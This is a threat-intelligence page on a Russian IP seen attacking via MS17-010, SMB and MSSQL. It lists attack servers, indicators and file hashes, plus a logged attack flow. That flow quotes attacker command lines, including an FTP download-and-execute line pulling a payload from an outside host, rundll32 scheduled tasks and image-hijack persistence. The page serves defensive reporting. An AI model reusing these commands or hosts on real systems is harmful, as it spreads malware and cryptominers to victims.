Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 83.69.248.41Previously Malicious

IP Address: 83.69.248.41Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

MS17-010 Download File Access Suspicious Domain SMB HTTP Outgoing Connection CMD Download and Execute SMB Null Session Login Service Configuration DNS Query Known Malware Scheduled Task Creation Scheduled Task Run PowerShell Persistency - Image Hijack

Associated Attack Servers

grantmindline.com ok.xmrpool.ru other.xmrpool.ru shell.loader0807.site

77.73.69.34 101.255.56.42 103.106.250.161 103.145.106.242 104.37.187.182 139.5.177.32 144.208.127.215 185.47.128.124

Basic Information

IP Address

83.69.248.41

Domain

-

ISP

Filanco LLC

Country

Russian Federation

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2022-10-31

Last seen in Akamai Guardicore Segmentation

2023-01-15

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

The machine was exploited using the ms17-010 vulnerability

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 103.106.250.161:8161, 139.5.177.32:80, 139.5.177.32:8032, 144.208.127.215:8080 and 77.73.69.34:8034

Outgoing Connection

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: shell.loader0807.site

DNS Query Access Suspicious Domain Outgoing Connection

The file C:\Windows\Temp\conhoy.exe was downloaded and executed 39 times

Download and Execute

C:\Windows\Temp\wmia.bat was downloaded

Download File

C:\windows\Temp\u.exe was downloaded

Download File

C:\windows\Temp\ntuser.dat was downloaded

Download File

System file C:\windows\Temp\u.exe was modified 4 times

System File Modification

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified

System File Modification

System file c:\windows\debug\item.dat was modified 4 times

System File Modification

Process c:\windows\temp\u.exe generated outgoing network traffic to: 104.37.187.182:80

Outgoing Connection

Process c:\windows\temp\u.exe attempted to access suspicious domains: grantmindline.com

Access Suspicious Domain Outgoing Connection

The command line rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa1

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa2

The command line rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\ok

The file C:\Windows\System\msinfo.exe was downloaded and executed

Download and Execute

The command line c:\windows\inf\aspnet\lsma22.exe was scheduled to run by modifying C:\Windows\System32\Tasks\oka

The file C:\Windows\SysWOW64\wpcap.dll was downloaded and loaded by c:\windows\system32\icacls.exe

Download and Execute

The file C:\Windows\SysWOW64\npptools.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

c:\windows\syswow64\reg.exe set the command line ntsd -d to run using Persistency - Image Hijack 3 times

Persistency - Image Hijack

The file C:\Windows\Inf\aspnet\lsma22.exe was downloaded and executed

Download and Execute

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

System file C:\Windows\System32\drivers\etc\hosts was modified

System File Modification

The file c:\windows\debug\item.dat was downloaded and loaded by c:\windows\system32\rundll32.exe

Download and Execute

Process c:\windows\inf\aspnet\lsma22.exe started listening on ports: 81

Listening

Process c:\windows\inf\aspnet\lsma22.exe attempted to access suspicious domains: ok.xmrpool.ru and other.xmrpool.ru

DNS Query Access Suspicious Domain

Connection was closed due to timeout

Associated Files

C:\WINDOWS\Debug\item.dat

SHA256: 1e8441f0d32d3854e0b3801063f6015a9f09637d77b714f8e58fb8c198693a51

4122624 bytes

C:\WINDOWS\system\msinfo.exe

SHA256: 20c29760791e953c383bcc5a49ceb1c4b96f077c7ad8a6d7d14b030b5804acc5

7277056 bytes

C:\Windows\SysWOW64\npptools.dll

SHA256: 366b77df76729d08687051c1ec4b718ba1d650bca5b16eb15ec5c11570d6ff16

48128 bytes

C:\WINDOWS\Temp\conhoy.exe

SHA256: 58064d9b9c44e6d6fe6f20abc74335859fb822f733d1b3e231a9d85aaef8e638

7680 bytes

C:\Windows\SysWOW64\wpcap.dll

SHA256: b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

282360 bytes

C:\WINDOWS\inf\aspnet\lsma22.exe

SHA256: ba1e190e87d89ff7943cca039f357ca8e7c37255d51accf49393e2f9119dec04

1709568 bytes

C:\WINDOWS\system32\packet.dll

SHA256: cd9f4fb077c25013226e0883f9ae02e9ced9b71f07637081e55ae70fd0788f29

102136 bytes